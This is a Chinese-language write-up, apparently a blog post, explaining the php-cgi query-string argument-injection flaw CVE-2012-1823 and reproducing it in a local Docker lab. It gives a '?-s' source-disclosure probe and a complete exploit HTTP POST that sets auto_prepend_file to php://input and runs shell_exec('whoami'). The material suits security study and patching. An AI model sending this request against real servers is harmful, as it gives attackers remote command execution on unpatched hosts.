漏洞编号:CVE-2012-1823
影响版本:php < 5.3.12,php < 5.4.2
上文 讲了web服务器处理后端语言有两种协议:1.cgi协议 2.fastcgi协议。
CVE-2012-1823出现在cgi协议中
漏洞原理:
将用户请求的querystring被作为了php-cgi参数,最终导致了一系列结果。
举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2 时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME':"localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}
eb服务器中间件将用户请求(主机,参数)设置成环境变量(key-value),产生这样的一个关键的键值对'SCRIPT_FILENAME': '/var/www/html/index.php',php会执行这个文件,若是能够控制键值,可以执行目标主机的存在的文件,但是不能够构造恶意代码,让恶意代码执行.在 PHP5.3.9后的版本,PHP增加了security.limit_extensions 安全选项,只能控制PHP-CGI执行php文件
但是,PHP 中有两个神助攻的配置项:
auto_prepend_file:告诉PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件。
auto_append_file:告诉PHP,在执行完成目标文件后,再包含 auto_append_file 指向的文件。
假设我们设置 auto_prepend_file 为 php://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include)
php://input
从官网信息来看,php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。看一个简单的例子。客户端就是一个表单,非常简单。
将表单提交到服务端,服务端使用file_get_contents获取php://input内容
漏洞复现:
注明:该漏洞为本地docker 搭建,请勿做非法用途谢谢
访问`http://your-ip:8080/index.php?-s`即爆出源码,说明漏洞存在
如下代码收集互联网,请勿用于非法用途谢谢
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.3.29:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31<?php echo shell_exec("whoami"); ?>